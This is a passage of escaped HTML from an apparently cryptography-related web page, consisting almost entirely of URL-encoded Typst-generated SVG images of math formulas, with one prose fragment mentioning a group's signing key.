5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%206.86%2022.19%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2011.603%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2017.05%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2025.057%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2034.392%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2049.173%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2049.574%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2054.258%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2060.795%2034.328%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2071.722%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2078.582%2022.19%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2083.326%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2088.772%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2094.736%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20103.293%2018.732%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23m%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20121.165%2018.732%29%22%2F%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20110.296%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20114.931%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20121.468%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23o%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20129.66%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23n%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20132.983%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23p%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20137.618%2034.524%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20145.243%2034.524%29%22%2F%3E%3C%2Fg%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20153.66%209.254%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23q%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20164.78%209.254%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23r%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20178.782%209.254%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20154.682%2028.336%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23q%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20163.757%2028.336%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23r%22%20fill%3D%22%23000000%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20177.76%2028.336%29%22%2F%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23000000%22%20stroke-width%3D%220.672%22%20d%3D%22M153.66%2015.232h31.072%22%20class%3D%22typst-shape%22%2F%3E%3C%2Fg%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.728%208.862c0%20.616-.602%201.008-1.26%201.008-.868%200-1.47-.56-1.792-1.666-.07-.252-.224-.966-.448-2.142h-.91c-.308%200-.462-.014-.462-.308%200-.154.14-.224.434-.224h.84L3.108.112c-.154-.798-.294-1.386-.42-1.778-.168-.518-.406-.784-.714-.784a.95.95%200%200%200-.532.154c.448.07.672.336.672.784%200%20.364-.182.546-.56.546-.476%200-.812-.42-.812-.896%200-.616.574-1.008%201.232-1.008.35%200%20.672.14.938.434.448.462.798%201.12%201.05%202.002.154.546.294%201.078.392%201.61l.812%204.354h1.148c.322%200%20.462.014.462.336%200%20.126-.14.196-.42.196H5.278c.084.574.476%202.688.602%202.954.14.294.336.434.588.434.21%200%20.392-.056.546-.154-.434-.098-.658-.35-.658-.784%200-.364.182-.546.56-.546.476%200%20.812.42.812.896%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.185%206.086a.41.41%200%200%201-.421.411c-.294%200-.579-.274-.579-.568a.41.41%200%200%201%20.422-.412c.294%200%20.578.275.578.569M1.882%204.35q-.692%200-1.088-.705C.568%203.254.46%202.979.46%202.822c0-.107.068-.156.196-.156q.159%200%20.215.176c.226.774.549%201.156.98%201.156.137%200%20.206-.098.206-.303%200-.128-.098-.441-.294-.951l-.608-1.558a1.2%201.2%200%200%201-.088-.422c0-.51.441-.862.95-.862.461%200%20.814.235%201.079.715.225.392.333.657.333.804%200%20.108-.069.167-.196.167q-.09-.013-.196-.157a.1.1%200%200%201-.02-.04C2.793.638%202.47.256%202.048.256q-.206%200-.206.294c0%20.147.05.353.157.607l.774%202.01a1%201%200%200%201%20.06.323c0%20.51-.442.862-.951.862%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.452-3.472c.126%200%20.196.07.196.196%200%20.042-.028.098-.07.154-.728.56-1.316%201.484-1.75%202.758-.378%201.106-.574%202.198-.574%203.276v1.176c0%201.078.196%202.17.574%203.276.434%201.274%201.022%202.198%201.75%202.758.042.042.07.098.07.154%200%20.126-.07.196-.196.196a.24.24%200%200%201-.098-.042c-.84-.644-1.54-1.596-2.114-2.87-.546-1.218-.826-2.366-.826-3.472V2.912c0-1.106.28-2.254.826-3.472.574-1.274%201.274-2.226%202.114-2.87a.24.24%200%200%201%20.098-.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.378%205.222c0%20.644-.63.966-1.33.966-.602%200-1.078-.322-1.442-.966-.294.644-.784.966-1.498.966-.686%200-1.246-.322-1.694-.952C1.036%204.69.84%204.284.84%204.018c0-.126.07-.196.21-.196.126%200%20.21.07.238.196.266.812.854%201.764%201.792%201.764.462%200%20.686-.294.686-.868%200-.294-.252-1.386-.742-3.262-.238-.938-.658-1.4-1.26-1.4a1.3%201.3%200%200%200-.532.112q.546.21.546.756c0%20.364-.182.546-.56.546-.462%200-.812-.392-.812-.854%200-.644.658-.966%201.344-.966.588%200%201.064.322%201.442.966.266-.644.77-.966%201.498-.966.672%200%201.232.322%201.68.952.378.546.574.952.574%201.218%200%20.126-.07.196-.21.196-.126%200-.196-.07-.238-.196C6.258%201.218%205.628.252%204.718.252c-.462%200-.7.28-.7.854%200%20.182.07.574.224%201.204l.476%201.89c.266%201.05.7%201.582%201.316%201.582.196%200%20.378-.042.532-.112-.378-.126-.56-.378-.56-.756%200-.364.196-.546.574-.546.448%200%20.798.406.798.854%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.092-3.43c.84.644%201.54%201.596%202.114%202.87.546%201.218.826%202.366.826%203.472v1.176c0%201.106-.28%202.254-.826%203.472-.574%201.274-1.274%202.226-2.114%202.87a.24.24%200%200%201-.098.042c-.126%200-.196-.07-.196-.196%200-.056.028-.112.07-.154.728-.56%201.316-1.484%201.75-2.758.378-1.106.574-2.198.574-3.276V2.912c0-1.078-.196-2.17-.574-3.276-.434-1.274-1.022-2.198-1.75-2.758-.042-.056-.07-.112-.07-.154%200-.126.07-.196.196-.196.014%200%20.056.014.098.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%205.138H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322%200%20.168-.154.322-.336.322m0-2.632H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322a.33.33%200%200%201-.336.322%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22m17.71-6.3%201.736%204.564h-.476A3.87%203.87%200%200%200%2017.612-3.5C16.03-4.676%2014-4.984%2011.074-4.984H2.8l7%208.232c.098.098.14.196.14.266l-6.524%209.002h7.518c2.646%200%204.844-.336%206.286-1.26q1.26-.798%201.764-1.974h.462L17.71%2013.3H1.232c-.252%200-.392-.042-.434-.126-.014-.042-.014-.21-.014-.504l7.35-10.052L.952-5.81c-.098-.112-.154-.21-.154-.28%200-.14.14-.21.434-.21Z%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M.431.696q.045%200%20.412.323l.313.275q.25-1.412%201.265-1.412c.401%200%20.882.216%201.44.657.167.137.255.235.255.304%200%20.088-.098.225-.186.225-.05%200-.128-.049-.235-.157Q2.945.236%202.43.235c-.284%200-.47.186-.539.569a4%204%200%200%200-.078.705c0%20.196.01.412.127.53C3.518%203.537%204.302%204.86%204.302%206.016q0%20.882-.676.882c-.539%200-1.078-.52-1.627-1.558a8.3%208.3%200%200%201-.754-2.117%206.7%206.7%200%200%201-.147-1.45%208%208%200%200%200-.696-.627Q.225%201%20.225.91c0-.098.108-.215.206-.215m3.185%205.85c.206%200%20.304-.156.304-.46%200-1.03-.657-2.205-1.98-3.509.118.637.314%201.412.598%202.303.177.52.618%201.666%201.078%201.666%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M5.517.04H3.655a2.3%202.3%200%200%200-1.617.626%202.35%202.35%200%200%200-.764%201.549h4.243q.236%200%20.236.235t-.236.235H1.274a2.35%202.35%200%200%200%20.764%201.549%202.3%202.3%200%200%200%201.617.627h1.862c.157%200%20.236.078.236.225q0%20.235-.236.235H3.655c-.793%200-1.47-.274-2.028-.833C1.068%203.93.794%203.254.794%202.45S1.068.97%201.627.412c.558-.559%201.235-.833%202.028-.833h1.862q.236%200%20.236.235c0%20.117-.108.225-.236.225%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22j%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.411%201.01c0%20.215-.108.323-.353.323-.343%200-.548-.157-.637-.47-.166-.638.343-.97.97-.97.54%200%201.04.176%201.51.519s.872.96%201.186%201.842c.068.216.127.402.166.559%201.666%200%203.146.833%203.489%202.205.04.166.059.313.059.45%200%20.265-.079.49-.226.667-.343.392-1.117.588-2.312.598l.039.186-.118.039-.705-.245a4.85%204.85%200%200%201-2.02-.431c-.754-.353-1.205-.843-1.361-1.46-.118-.48-.01-.726.313-.726.108%200%20.235.05.373.138a.57.57%200%200%201%20.196.343c0%20.039%200%20.127-.02.274%200%20.186.01.314.02.382.215.774%201.303%201.108%202.39%201.117l-.989-3.93c-.245-.95-.559-1.567-.95-1.852-.265-.186-.5-.284-.696-.284-.245%200-.373.098-.373.284%200%20.079.05.353.05.441m5.273%204.958a.94.94%200%200%200%20.264-.666c0-.108-.02-.216-.049-.333Q6.444%203.19%204.341%203.175l.794%203.175q.662%200%20.97-.088.429-.132.579-.294%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22k%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.438%205.488c.756%201.134%201.134%202.226%201.134%203.248%200%20.756-.294%201.134-.868%201.134-.546%200-1.064-.406-1.582-1.232a11%2011%200%200%201-.756-1.4c-.728-1.666-1.092-3.262-1.092-4.774L.238%201.456q-.084-.105-.084-.168c0-.154.07-.238.224-.238.056%200%20.364.28.938.84.196-1.372.728-2.058%201.582-2.058.518%200%201.148.322%201.876.98q.336.294.336.42c0%20.154-.07.224-.224.224-.042%200-.112-.042-.21-.14C3.948.602%203.36.252%202.926.252c-.518%200-.784.574-.784%201.736%200%20.84-.014.742.35%201.106a15.4%2015.4%200%200%201%201.946%202.394m.28%203.962c.28%200%20.42-.224.42-.658%200-1.498-.938-3.248-2.828-5.264.196%201.106.896%203.682%201.358%204.662q.609%201.26%201.05%201.26%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22l%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.688%203.5a.747.747%200%200%201-.742.742.747.747%200%200%201-.742-.742c0-.406.336-.742.742-.742s.742.336.742.742%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22m%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M10.29-6.3h6.804v.868q-1.323%200-1.806.378c-.322.252-.476.616-.476%201.092v14.924c0%20.49.154.854.476%201.106s.924.364%201.806.364v.868H.784v-.868q1.323%200%201.806-.378c.322-.252.476-.616.476-1.092V-3.962c0-.49-.154-.854-.476-1.106s-.924-.364-1.806-.364V-6.3h6.804v.868q-1.323%200-1.806.378c-.322.252-.476.616-.476%201.092v16.394h7.266V-3.962c0-.49-.154-.854-.476-1.106s-.924-.364-1.806-.364Z%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22n%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.302%206.086a.41.41%200%200%201-.421.411c-.284%200-.578-.284-.578-.568a.41.41%200%200%201%20.421-.412c.294%200%20.578.275.578.569M2.882%204.34c-.55%200-1.03-.362-1.285-.705q-.44-.633-.44-.823c0-.108.068-.157.195-.157q.147.002.236.196c.107.235.235.44.382.627.284.343.578.51.882.51.186%200%20.284-.147.284-.432%200-.117-.01-.215-.03-.284L2.187-.44C2.047-1%201.606-1.646.98-1.646a1%201%200%200%200-.245.029.53.53%200%200%201%20.265.48c0%20.265-.138.402-.412.402C.255-.735%200-1.019%200-1.352%200-1.803.49-2%20.99-2c.225%200%20.47.039.725.127.608.206%201.156.784%201.313%201.44l.872%203.47c.03.127.05.245.05.353%200%20.568-.5.95-1.069.95%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22o%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.656%201.127a.563.563%200%200%201-.558-.578c0-.343.235-.598.568-.598a.6.6%200%200%201%20.343.108%202.3%202.3%200%200%200-.706-1.637c-.049-.049-.078-.088-.078-.137%200-.118.059-.176.167-.176.068%200%20.166.078.313.235.324.353.637%201.068.637%201.705%200%20.539-.196%201.078-.686%201.078%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22p%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.84%201.744H3.802l.51%201.412H6.84q.236%200%20.236.235t-.236.235H4.488L5.645%206.84c.02.03.03.05.03.079q-.001.235-.236.235c-.127%200-.196-.049-.225-.157L3.989%203.626H.784q-.235%200-.235-.235t.235-.235h3.038l-.51-1.412H.784q-.235%200-.235-.235t.235-.235h2.352L1.97-1.94c-.01-.02-.01-.05-.01-.079q0-.235.235-.235c.118%200%20.186.049.216.157l1.225%203.371H6.84q.236%200%20.236.235a.245.245%200%200%201-.236.235%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22q%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%203.78H1.12c-.224%200-.336-.098-.336-.28s.112-.28.336-.28h8.652c.224%200%20.336.098.336.28%200%20.168-.168.28-.336.28%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22r%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M5.558%208.694c0%20.378-.196.56-.574.56-.392%200-.784-.392-.784-.784%200-.378.182-.56.56-.56.392%200%20.798.392.798.784m-1.82-2.478c-.742%200-1.372-.56-1.68-1.05-.378-.602-.56-.98-.56-1.148%200-.126.07-.182.21-.182.07%200%20.112.014.154.028.07.112.112.21.154.28.448%201.106%201.008%201.652%201.68%201.652.252%200%20.378-.196.378-.574%200-.21-.028-.448-.098-.7L2.688-.644C2.492-1.456%201.932-2.45%201.05-2.45a1.2%201.2%200%200%200-.378.056c.35.14.518.392.518.742%200%20.364-.196.546-.574.546-.448%200-.798-.406-.798-.854%200-.616.602-.91%201.26-.91q.903%200%201.68.63c.49.406.798.924.952%201.526l1.274%205.068c.042.182.07.364.07.532%200%20.77-.546%201.33-1.316%201.33%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-display typst-doc&quot; style=&quot; width: 16.92113535353535em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, since the group&#x27;s signing key &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%226.734pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%206.734%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C